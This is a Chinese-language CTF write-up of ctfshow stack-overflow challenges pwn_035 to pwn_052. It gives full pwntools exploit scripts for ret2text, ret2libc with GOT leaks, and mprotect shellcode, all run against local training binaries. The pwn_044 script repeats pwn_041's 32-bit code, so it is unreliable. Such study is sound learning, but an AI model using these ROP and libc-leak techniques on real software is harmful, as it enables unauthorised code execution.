栈溢出

## pwn_035

正式开始栈溢出了,先来一个最最最最简单的吧

首先使用checksec查保护:
alt text
32位程序,开启了堆栈不可执行保护。首先运行一下:
alt text
alt text
发现他会打开根目录下的文件,但是并不对其进行输出。这里使用ida进行反编译:
alt text
发现,程序读取/ctfshow_flag文件后存入flag变量中,但不打印,然后打印字符串,进入验证argv[1]的值,但是程序中并没有给定输入argv数组的功能,然后根据argv[1]的值输出不同的字符,其中,当argc >= 1时,会进入ctfshow函数中,进入观察:
alt text
发现使用strcpy函数将argv的值复制给dest变量中。
漏洞很明显,是由于strcpy函数未验证源字符串大小造成的栈溢出漏洞。这里的dest接收0x68大小的字符。
alt text
这里的dest相对ebp的偏移量为0x6c.
那么argv的值应该怎么控制呢,重新审计,发现原来该程序是通过命令行来接受参数的,这里给出chat的解释:
alt text
那么就好控制了,我们只需要输入大于0x6c的值即可造成栈溢出漏洞。但是造成栈溢出的目的是为了读取flag,程序中已经读取了flag,应该如何使其输出出来呢。重新审计发现:

1
2
fgets(flag, 64, stream);  
signal(11, (__sighandler_t)sigsegv_handler);

这个函数没见过,给chat跑一下:
alt text
通过chat的解释以及菜鸟教程-signal函数,我们知道了,当该函数发生非法访问存储器,如访问不存在的内存单元时,就会调用sigsegv_handler函数,我们跟进该函数看一下:
1
2
3
4
5
6
void __noreturn sigsegv_handler()  
{
fprintf(stderr, "%s\n", flag);
fflush(stderr);
exit(1);
}

他就会打印出flag。所以当我们造成栈溢出漏洞时,其实就相当于非法访问存储器,自然便会调用函数打印flag。所以我们只需要输出>0x6c个字节的内容即可获取flag。我们使用peda生成108字节的字符:
alt text
然后输入:
alt text
成功读取到本地flag。

pwn_036

存在后门函数,如何利用?

本地运行,并使用checksec查一下保护:
alt text
程序存在输入,并且栈可执行

markdown

1
2
3
4
5
6
7
8
Arch: i386-32-little ✅ 32位程序,EIP 只有4字节,易于控制
RELRO: Partial RELRO ✅ 没有完全保护 GOT,可以改 GOT
Stack: No canary found ✅ 栈上无金丝雀,可以自由溢出返回地址
NX: NX unknown ❓ 理论是栈不可执行,但实际 checksec 没识别出来
PIE: No PIE (0x8048000) ✅ 程序地址固定(无地址随机化),容易找函数地址
Stack: Executable ✅ 栈是可执行的!!可以直接打 shellcode
RWX: Has RWX segments ✅ 程序有可读写执行段,可能可以写入并跳转
Stripped: No ✅ 没有被 strip,可以直接看到符号(如 main、func 等)

接下来我们使用ida打开:
main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)  
{
setvbuf(stdout, 0, 2, 0);
puts(asc_804883C);
puts(asc_80488B0);
puts(asc_804892C);
puts(asc_80489B8);
puts(asc_8048A48);
puts(asc_8048ACC);
puts(asc_8048B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : There are backdoor functions here! ");
puts(" * ************************************* ");
puts("Find and use it!");
puts("Enter what you want: ");
ctfshow(&argc);
return 0;
}

ctfshow函数:
1
2
3
4
5
6
char *ctfshow()  
{
char s[36]; // [esp+0h] [ebp-28h] BYREF

return gets(s);
}

ctfshow函数中使用gets函数来读取s,标准的栈溢出漏洞。
alt text
我们将断点下在0x08048619
alt text
esp的地址为0xffffd550ebp的地址为0xffffd588s相对于ebp的索引为ebp+0x28,所以这里s相对ebp的偏移量为0x28
接着找到存在getflag函数:
alt text
地址为:0x08048586
所以我们的思路就是溢出到getflag函数处即可。
编写exp
1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python3  

from pwn import *
sh = process("./pwn")

getflag_addr = 0x08048586

payload = b'a' * 0x28 + b'bbbb' + p32(getflag_addr)

sh.sendline(payload)
sh.interactive()

成功获取到flag:
alt text

pwn_037

32位的 system(“/bin/sh”) 后门函数给你

执行➕checksec:
alt text
开启了栈不可执行保护。放入ida中进行分析:
反编译后的main函数、logo函数以及ctfshow函数
alt text
alt text
alt text
发现漏洞点应该在ctfshow函数中,因为这里预定义的buf数组的大小为14,而read允许读入的字节大小为0x32 = 50,所以这里存在栈溢出漏洞。
继续分析,发现存在system后门函数backdor:
alt text
backdoor函数地址:0x08048521
接下来我们计算偏移,buf相对于ebp的偏移为0x12。就下来我们编写exp
alt text
alt text

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python3  

from pwn import *

sh = process("./pwn")

backdoor_addr = 0x08048521

payload = b'a' * 0x12 + b'bbbb' + p32(backdoor_addr)

sh.sendline(payload)
sh.interactive()

成功拿到本地shell
[alt text

pwn_038

64位的 system(“/bin/sh”) 后门函数给你

执行加checksec
alt text
与上题一样,输入然后推出,且仅开启了堆栈不可执行保护,不一样的是,本次的是64位程序。使用ida打开分析。
反编译,直接转到ctfshow函数中
alt text
read栈溢出漏洞。并且存在后门地址backdoor,地址0x0400657
[alt text
计算偏移量为0x0a,这里需要注意的是,64位程序距离返回地址有8个字节。
alt text
注意,这里是64位程序,与32位程序不同的是,这里我们需要考虑到堆栈平衡的情况:
堆栈平衡:64位系统需要保持一个栈平衡,需要找栈lea的地址或者该函数结束即retn的地址,当我们在堆栈中进行堆栈的操作的时候,一定要保证在ret这条指令之前,esp指向的是我们压入栈中的地址,函数执行到ret执行之前,堆栈栈顶的地址一定要是call指令的下一条地址。
仿照上例,编写exp

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python3  

from pwn import *

sh = process("./pwn")

backdoor_addr = 0x0400657

payload = b'a' * 0x0a + b'b' * 0x08 + p64(0x040066D) + p64(backdoor_addr)

sh.sendline(payload)
sh.interactive()

alt text

pwn_039

32位的 system(); “/bin/sh”

运行+checksec,观察:
alt text
只开启堆栈不可执行保护,使用ida反编译,找到漏洞点
alt text
read函数的栈溢出漏洞,试寻找后门函数。在hint函数中找到system函数以及/bin/sh字符,但是并没有构成后门函数,所以我们这里需要构造system('/bin/sh')
alt text
找到/bin/sh的地址:
alt text
接下来我们找到system@plt的地址:
alt text
最后,我们需要计算可溢出字符串的偏移:
alt text
0x12 + 4
编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3  

from pwn import *

sh = process('./pwn')

binsh_addr = 0x08048750
system_plt = 0x080483A0

payload = flat([ b'a' * 0x16, system_plt, b'b' * 4, binsh_addr ])

sh.sendline(payload)
sh.interactive()

pwn_040

64位的 system(); “/bin/sh”

运行+checksec,可以看到只开启了NX保护
alt text
IDA反编译查看
alt text
read函数存在溢出,且存在system函数,查找是否存在/bin/sh字符串
alt text
计算偏移:
alt text
偏移量为0x10
编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3  

from pwn import *

context.update(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])

sh = process("./pwn")

bin_sh_addr = 0x00400808
system_plt = 0x0400520
pop_rdi_ret = 0x004007e3

payload = b'a' * (0x0A + 0x08) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(0x04004fe) + p64(system_plt)
sh.recvuntil(b'Just easy ret2text&&64bit\n')
sh.sendline(payload)
sh.interactive()

alt text

pwn_041

32位的 system(); 但是没”/bin/sh” ,好像有其他的可以替代

使用checksec查保护并运行,获得基本信息,32位程序,仅开启NX保护。
alt text
使用ida反编译
alt text
存在read函数栈溢出,并且存在system函数,但不存在/bin/sh字符。
alt text
原本准备在.bss段中写入/bin/sh\x00,来构造system('/bin/sh'),但是并没有找到可用的.bss段,继续审计代码,发现存在sh字符串。
alt text
这里不得不提/bin/shsh之间的区别:
alt text
sh是通过系统环境变量来启动一个名为sh的shell环境。而/bin/sh则是linux系统中默认的shell环境。
接下来计算偏移为0x12
alt text

编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3  

from pwn import *

context.update(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])

sh = process("./pwn")
elf = ELF("./pwn")

sh_addr = 0x080487BA
system = elf.sym['system']
pop_edi_addr = 0x0804878a

payload = b'a' * (0x12 + 0x04) + p32(system) + b'b' * 0x04 + p32(sh_addr)

sh.sendline(payload)
sh.interactive()

alt text

pwn_042

64位的 system(); 但是没”/bin/sh” ,好像有其他的可以替代

checksec查保护信息,得到64位程序,只开启NX保护。
alt text
使用ida反编译审计
alt text
与上题类似,只不过是64位程序。存在system函数以及sh字符,偏移为0x0a
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3  

from pwn import *

context.update(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])

sh = process('./pwn')
elf = ELF('./pwn')

system_plt = elf.plt['system']
sh_addr = 0x0400872
pop_rdi_ret = 0x0400843
ret = 0x040053e

payload = b'a' * (0x0a + 0x08) + p64(pop_rdi_ret) + p64(sh_addr) + p64(ret) + p64(system_plt)

sh.sendline(payload)
sh.interactive()

成功打通
alt text

pwn_043

32位的 system(); 但是好像没”/bin/sh” 上面的办法不行了,想想办法

check查保护信息,32位程序,仅开启NX保护
alt text
拖入IDA中查看
alt text
gets函数栈溢出,并且程序中不存在/bin/sh,我们想到利用gets().bss段中写入/bin/sh,然后构造system('/bin/sh')拿到shell。
首先计算偏移为0x6c
alt text
寻找到可以写入的.bss段地址
alt text
通过gdb调试可以确定该.bss段可写入
alt text
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3  

from pwn import *

context.update(os='linux', arch='i386', log_level='debug', terminal=['tmux', 'splitw', '-h'])

sh = process("./pwn")
elf = ELF("./pwn")

system_plt = elf.plt['system']
gets_plt = elf.plt['gets']
bss_addr = 0x0804B060

payload = b'a' * (0x6c + 0x04) + p32(gets_plt) + p32(system_plt) + p32(bss_addr) * 2

sh.sendline(payload)
sh.sendline(b'/bin/sh\x00')
sh.interactive()

本地打通
alt text

pwn_044

64位的 system(); 但是好像没”/bin/sh” 上面的办法不行了,想想办法

checksec查保护信息,64位程序,仅开启NX保护。
alt text
拖入ida中查看
alt text
与上题一样,gets栈溢出,且无/bin/sh
计算偏移为0x0a
alt text
寻找能写入的.bss段地址
alt text
alt text

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3  

from pwn import *

context.update(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])

sh = process("./pwn")
elf = ELF("./pwn")

sh_addr = 0x080487BA
system = elf.sym['system']
pop_edi_addr = 0x0804878a

payload = b'a' * (0x12 + 0x04) + p32(system) + b'b' * 0x04 + p32(sh_addr)

sh.sendline(payload)
sh.interactive()

成功打通
alt text

pwn_045

32位 无 system 无 “/bin/sh”

checksec查信息,32位程序,仅开启NX保护。
alt text
拖入IDA中反编译查看
alt text
存在read栈溢出,无system()/bin/sh,想到使用write()函数泄露libc地址,libc中存在可以构造成system('/bin/sh')的gadget。
计算偏移0x6B
alt text
pwn中wire函数的用处
这里我们使用write()函数泄露puts函数的地址,然后获得libc基地址,最后根据基地址找到system()函数,构造ROP链。
还有一个问题是,题目程序有的使用libc程序版本不同,相应的函数地址也有不同,这就需要我们确定libc的版本,然后再计算基地址,计算函数地址,之后才能构造ROP链子。

如何获得libc的版本号,有以下方法,

  • 我们可以使用LibcSeacher泄露libc的版本,进而泄露更多信息。
  • 或者可以先泄露某个函数的地址,利用在线网站查找到libc版本,下载下来,再进行做题。
  • 有的题目会给使用的libc版本,可以使用strings + file命令进行查看版本号,然后使用glibc-all-in-one下载做题。

本题并没有给到libc附件,所以我们首先使用手动泄露的方式,然后再使用LibcSearcher

手工

首先,编写程序将puts函数的地址泄露
构造

1
write(1, puts@got, 4)

不太清楚为什么,尝试泄露puts,write函数的地址没有泄露成功,全部卡住不动,但是成功泄露出了libc_start_main_got的地址。
alt text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3  

from pwn import *

context.update(os='linux', arch='i386', log_level='debug', terminal=['tmux', 'splitw', '-h'])

sh = process("./pwn")
elf = ELF("./pwn")

write_plt = elf.plt['write']
main = elf.sym['main']
puts_got = elf.got['puts']
write_got = elf.got['write']
ctfshow = elf.sym['ctfshow']
libc_start_main_got = elf.got['__libc_start_main']

payload = b'a' * (0x6B + 0x04) + p32(write_plt) + p32(ctfshow) + p32(1) + p32(puts_got) + p32(4)
sh.sendline(payload)
gdb.attach(sh)
puts_addr = u32(sh.recvuntil(b'\xf7')[-4:])
print(hex(puts_addr))

刚刚那会儿死活泄露不出来,这会儿来一个泄露一个,风水问题?😡
将泄露出得putswrite__libc_start_main的地址后三位复制到查询libc的网站中,libc database search,添加的信息越多,越能确定对方服务器使用的libc版本:
alt text
接下来,使用glibc-all-in-one将这四个版本下载到本地,挨个试一试。构造exp,拿到shell。
alt text
像这样,将libc下载下来使用。使用下面语法进行连接
1
libc = ELF("./2.35-0ubuntu3.9_i386/libc.so.6")

接下来计算libc基地址,因为所有函数的真实地址都需要通过基地址来计算。
基地址已泄露函数地址中函数的地址libc基地址=已泄露函数地址−libc中函数的地址

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3  

from pwn import *

context.update(os='linux', arch='i386', log_level='debug', terminal=['tmux', 'splitw', '-h'])

sh = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./2.35-0ubuntu3.9_i386/libc.so.6")


write_plt = elf.plt['write']
main = elf.sym['main']
puts_got = elf.got['puts']
write_got = elf.got['write']
ctfshow = elf.sym['ctfshow']
libc_start_main_got = elf.got['__libc_start_main']

payload = b'a' * (0x6B + 0x04) + p32(write_plt) + p32(ctfshow) + p32(1) + p32(puts_got) + p32(4)
sh.sendline(payload)
# gdb.attach(sh)
puts_addr = u32(sh.recvuntil(b'\xf7')[-4:])
print(hex(puts_addr))

libc_base = puts_addr - libc.sym['puts']

system_addr = libc_base + libc.sym['system']
bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base

payload = b'a' * (0x6B + 0x04) + p32(system_addr) + b'a' * 0x04 + p32(bin_sh)

sh.sendline(payload)
sh.interactive()

本地打通
alt text

Libcsearcher:

没利用成功,本地libc数据库没有找到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3  

from pwn import *
from LibcSearcher import LibcSearcher


context.update(os='linux', arch='i386', log_level='debug', terminal=['tmux', 'splitw', '-h'])

sh = process("./pwn")
elf = ELF("./pwn")

write_plt = elf.plt['write']
ctfshow = elf.sym['ctfshow']
puts_got = elf.got['puts']
libc_start_main_got = elf.got['__libc_start_main']
write_got = elf.got['write']
payload = b'a' * (0x6B + 0x04) + p32(write_plt) + p32(ctfshow) + p32(1) + p32(libc_start_main_got) + p32(4)
sh.sendline(payload)

puts_addr = u32(sh.recvuntil(b'\xf7')[-4:])
print(hex(puts_addr))

libc = LibcSearcher('__libc_start_main', puts_addr, 0)
libc_base = puts_addr - libc.dump('__libc_start_main')
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload = b'a' * (0x6B + 0x04) + p32(system_addr) + b'a' * 0x04 + p32(bin_sh)
sh.sendline(payload)
sh.interactive()

在虚拟机上跑成功了,应该是docker环境设置的问题。
alt text

pwn_046

64位 无 system 无 “/bin/sh”

与上题一样,不一样的是64位程序。checksec查保护,仅开启NX保护。
alt text
使用ida反编译查看。
alt text
read栈溢出,同样没有system函数以及/bin/sh
计算偏移0x70
alt text
首先泄露putswrite__libc_start_mian函数的地址,然后计算基址,最后拿到libc中system函数与/bin/sh,构造ROP链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3  

from pwn import *
from LibcSearcher import *

context.update(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])

sh = process("./pwn")
elf = ELF("./pwn")

pop_rdi = 0x0400803
pop_rsi_r15_ret = 0x0400801
ret = 0x04004fe
ctfshow = elf.sym['ctfshow']
write_plt = elf.plt['write']
puts_plt = elf.plt['puts']
write_got = elf.got['write']
puts_got = elf.got['puts']
libc_start_main_got = elf.got['__libc_start_main']

# payload = b'a' * (0x70 + 0x08) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15_ret ) + p64(puts_got) * 2 + p64(write_plt) + p64(ctfshow)
payload = b'a' * (0x70 + 0x08) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ctfshow)
sh.sendline(payload)

puts_addr = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
print(hex(libc_base))
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = b'a' * (0x70 + 0x08) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)

sh.sendline(payload)
sh.interactive()

很奇怪,使用write泄露的libc不能使用,使用puts泄露可以,不知道什么情况,有没有大佬可以解惑。🤔
alt text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3  

from pwn import *

context.update(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])

sh = process("./pwn")
elf = ELF("./pwn")

pop_rdi = 0x0000000000400803
pop_rsi_r15_ret = 0x0000000000400801
ctfshow = elf.sym['ctfshow']
write_plt = elf.plt['write']
write_got = elf.got['write']
puts_got = elf.got['puts']
libc_start_main_got = elf.got['__libc_start_main']

payload = b'a' * (0x70 + 0x08) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15_ret ) + p64(puts_got) * 2 + p64(write_plt) + p64(ctfshow)
sh.sendline(payload)

puts_addr = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))

alt text

然后,利用泄露出的puts@got地址确定libc版本:
alt text
alt text
使用glibc-all-in-one将libc安装下来。(怎么感觉这玩意有点不太准呢,我操作的问题?)

pwn_05(练习)

朋友给了一个题,差点儿给自己pwn掉了。在这里记录一下。

checksec查保护,64位程序,仅开启NX保护,这个时候一想,签到题,应该很简单。
使用ida反编译打开。copy函数
alt text
看不懂,丢给chat跑了一下。大概流程是,接收一个数字,低8位字节不超过32read读入到src段中,然后将src段中的内容复制到dest数组中,限制大小为前面接受数字的低32位字节。
这里需要绕过,绕过了半天,问chat,给了我一个超大数字,结果没有卵用,最后还是群友的chat给出了思路。😢
alt text
使用gdb调试:
首先输入正常不超过32的数字
alt text
alt text
可以看到,readmemcpy限制读入大小为0x1f。远远达不到我们想要溢出的长度
然后输入256
alt text
alt text
可以看到,此时限制读入的字节已经可以达到我们想要溢出的大小。
为什么会这样呢,因为:
alt text
所以在这里,256及256的倍数均可。
然后下一个难题就是,该程序没有使用rbp寄存器,偏移计算的问题。
alt text
不会,真不会,就这逼玩意我研究了一晚上。😭
可以看一下,这里寄存器rbp被设定为1
alt text
也就是说,程序没有使用rbp做栈基地址,而是直接通过rsp管理栈空间。也就是说,当程序创建dest时候,rsp指针会向下创建0x38大小的内存空间,当该内存空间被写满之后,便能直接覆盖到返回地址。也就是
偏移返回地址用户输入地址偏移=返回地址−用户输入地址
所以这里的偏移为0x38,并且我们不用再加0x08字节就可以覆盖到返回地址。奶奶的,加了一晚上的0x08
可以使用gdb调试验证
输入aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaacccccccc
可以看到,栈中返回地址已经被覆盖
alt text
编写exp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python3  

from pwn import *
from LibcSearcher import *

context.update(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])

sh = process("./pwn")
elf = ELF('./pwn')
libc = ELF('./libc-2.17.so')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
copy_addr = elf.sym['copy']
libc_start_main_got = elf.got['__libc_start_main']
pop_rdi_ret = 0x04007f3
ret_addr = 0x04005F9

offset = 0x28

payload = b'a' * offset + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(copy_addr)
# payload = b'a' * 0x28 + b'b' * 0x08 + b'cccc'
print(len(payload))
# gdb.attach(sh)
sh.sendlineafter('\n', b'1024')

sh.recvuntil('请输入字符串:')
sh.sendline(payload)
# sh.recvall()
puts_addr = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print("puts_addr", hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
print(hex(libc_base))
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
sh.sendlineafter('\n', b'1024')
p2 = b'b' * (offset)
p2 += p64(pop_rdi_ret)
p2 += p64(bin_sh)
p2 += p64(ret_addr)
p2 += p64(system_addr)
sh.recvuntil('请输入字符串:')
#gdb.attach(sh)
sh.sendline(p2)
sh.interactive()

这里选择libc版本为amd64的2.17的即可
alt text

pwn_047

ez ret2libc

32位程序,仅开启NX保护
alt text
ida反编译
alt text
gets函数栈溢出,并且main函数中:
alt text
%p可以泄露函数puts的真实地址,就是libc函数地址
也就是说,我们不用去构造ROP链泄露函数地址,直接可以计算基址,进而构造system('/bin/sh')
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3  

from pwn import *
from LibcSearcher import *

context.update(os='linux', arch='i386', log_level='debug', terminal=['tmux', 'splitw', '-h'])

sh = process("./pwn")
elf = ELF("./pwn")

sh.recvuntil(b'puts: ')
puts_addr = int(sh.recvuntil('\n', drop= True).decode(), 16)
sh.recvuntil(b'fflush ')
fflush_addr = int(sh.recvuntil('\n', drop= True).decode(), 16)
sh.recvuntil(b'read: ')
read_addr = int(sh.recvuntil('\n', drop= True).decode(), 16)
sh.recvuntil(b'write: ')
write_addr = int(sh.recvuntil('\n', drop= True).decode(), 16)
sh.recvuntil(b'gift: ')
gift_addr = int(sh.recvuntil('\n', drop= True).decode(), 16)

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
offset = 0x9c + 0x04
payload = b'a' * offset + p32(system_addr) + p32(0xdeadbeef) + p32(bin_sh)
sh.sendline(payload)
sh.interactive()

本地打通
alt text

pwn_048

没有write了,试试用puts吧,更简单了呢

checksec查保护,32位程序,仅开启NX保护
alt text
使用ida反编译:
alt text
read栈溢出,使用puts泄露puts@got地址,以此计算libc基地址。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3  

from pwn import *
from LibcSearcher import LibcSearcher


context.update(os='linux', arch='i386', log_level='debug', terminal=['tmux', 'splitw', '-h'])

sh = process("./pwn")
elf = ELF("./pwn")

offset = 0x6b + 0x04
puts_plt = elf.plt['puts']
ctfshow = elf.sym['ctfshow']
puts_got = elf.got['puts']
libc_start_main_got = elf.got['__libc_start_main']
payload = b'a' * offset + p32(puts_plt) + p32(ctfshow) + p32(puts_got)

sh.sendline(payload)
puts_addr = u32(sh.recvuntil(b'\xf7')[-4:])
print(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload = b'a' * offset + p32(system_addr) + b'a' * 0x04 + p32(bin_sh)
sh.sendline(payload)
sh.interactive()

pwn_049

静态编译?或许你可以找找mprotect函数

checksec查保护,32位程序,开启了NX保护与canary保护
alt text
拖入ida中反编译
alt text
read函数栈溢出,且是静态编译的程序,我们想到,使用mprotect函数选择一段内存空间修改为可读可写可执行,再将shellcode读入这段内存空间中,最后控制程序到这段空间中,便可以执行shellcode
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3  

from pwn import *

context.update(os='linux', arch='i386', log_level='debug', terminal=['tmux', 'splitw', '-h'])

sh = process("./pwn")
elf = ELF("./pwn")

mprotect_plt = 0x0806CDD0
read_plt = 0x0806BEE0
pop_eax_edx_ebx_ret = 0x08056194
main_addr = elf.sym['main']
bss = 0x080DB000
bss_size = 0x1000
offset = 0x12 + 0x04

payload = b'a' * offset + p32(mprotect_plt) + p32(pop_eax_edx_ebx_ret) + p32(bss) + p32(bss_size) + p32(0x07)
payload += p32(read_plt) + p32(pop_eax_edx_ebx_ret) + p32(0) + p32(bss) + p32(0x1000) + p32(bss)
sh.sendline(payload)

shellcode = asm(shellcraft.sh())
sh.sendline(shellcode)
sh.interactive()

本地打通
alt text

pwn_050

好像哪里不一样了
远程libc环境 Ubuntu 18

checksec查保护,64位程序,仅开启NX保护
alt text
使用ida反编译
alt text
gets栈溢出,不存在system('/bin/sh')
使用ret2libc即可
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3  

from pwn import *
from LibcSearcher import *

context.update(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])

sh = process("./pwn")
elf = ELF("./pwn")

pop_rdi = 0x04007e3
ret = 0x04004fe
offset = 0x20 + 0x08
ctfshow = elf.sym['ctfshow']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
libc_start_main_got = elf.got['__libc_start_main']

# payload = b'a' * (0x70 + 0x08) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15_ret ) + p64(puts_got) * 2 + p64(write_plt) + p64(ctfshow)
payload = b'a' * offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ctfshow)
sh.sendline(payload)

puts_addr = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
print(hex(libc_base))
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = b'a' * offset + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)

sh.sendline(payload)
sh.interactive()

alt text

pwn_051

I‘m IronMan

checksec查保护,32位程序,仅开启NX保护
alt text
使用ida反编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
int sub_8049059()  
{
int v0; // eax
int v1; // eax
unsigned int v2; // eax
int v3; // eax
const char *v4; // eax
int v6; // [esp-Ch] [ebp-84h]
int v7; // [esp-8h] [ebp-80h]
char v8[12]; // [esp+0h] [ebp-78h] BYREF
char s[32]; // [esp+Ch] [ebp-6Ch] BYREF
char v10[24]; // [esp+2Ch] [ebp-4Ch] BYREF
char v11[24]; // [esp+44h] [ebp-34h] BYREF
unsigned int i; // [esp+5Ch] [ebp-1Ch]

memset(s, 0, sizeof(s));
puts("Who are you?");
read(0, s, 0x20u);
std::string::operator=(&unk_804D0A0, &unk_804A350);
std::string::operator+=(&unk_804D0A0, s);
std::string::basic_string(v10, &unk_804D0B8);
std::string::basic_string(v11, &unk_804D0A0);
sub_8048F06(v8);
std::string::~string(v11, v11, v10);
std::string::~string(v10, v6, v7);
if ( sub_80496D6(v8) > 1u )
{
std::string::operator=(&unk_804D0A0, &unk_804A350);
v0 = sub_8049700(v8, 0);
if ( (unsigned __int8)sub_8049722(v0, &unk_804A350) )
{
v1 = sub_8049700(v8, 0);
std::string::operator+=(&unk_804D0A0, v1);
}
for ( i = 1; ; ++i )
{
v2 = sub_80496D6(v8);
if ( v2 <= i )
break;
std::string::operator+=(&unk_804D0A0, "IronMan");
v3 = sub_8049700(v8, i);
std::string::operator+=(&unk_804D0A0, v3);
}
}
v4 = (const char *)std::string::c_str(&unk_804D0A0);
strcpy(s, v4);
printf("Wow!you are:%s", s);
return sub_8049616(v8);
}

注意到关键函数readstrcpyread函数处限制字节大小为0x20,无溢出,观察strcpy函数,注意到,它将v4字符串复制到S,我们追踪一下v4的处理逻辑:
重点看这一部分
alt text
这部分说明了,有些特殊字符输入程序,会替换为IronMan,剩余字符会原样输出,我们测试一下是哪些字符会被替换,这时我们构造栈溢出的关键:
生成a-z A-Z字符串
1
2
abcdefghijklmnopqrstuvwxyz  
ABCDEFGHIJKLMNOPQRSTUVWXYZ

然后运行程序输入
alt text
输入I便会替换,那么就明了了,我们只需要输入最高0x20个字节的I,程序便会替换出0xE0个字节,可以造成栈溢出。
alt text
后门函数也已经找到
这里的偏移,因为要覆盖返回地址需要$0x6c+0x04=0x70$,所以我们只需要输入0x10I即可。
alt text
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3  

from pwn import *

context.update(os='linux', arch='i386', log_level='debug', terminal=['tmux', 'splitw', '-h'])

sh = process("./pwn")
elf = ELF("./pwn")

backdoor = 0x0804902E
offset = 0x10

payload = b'I' * offset + p32(backdoor)
# gdb.attach(sh, 'b *0x0804924D')
sh.sendline(payload)
sh.interactive()

alt text

pwn_052

迎面走来的flag让我如此蠢蠢欲动

checksec查保护,32位程序,仅开启NX保护
alt text
ida反编译
alt text
alt text
gets栈溢出,存在后门函数。
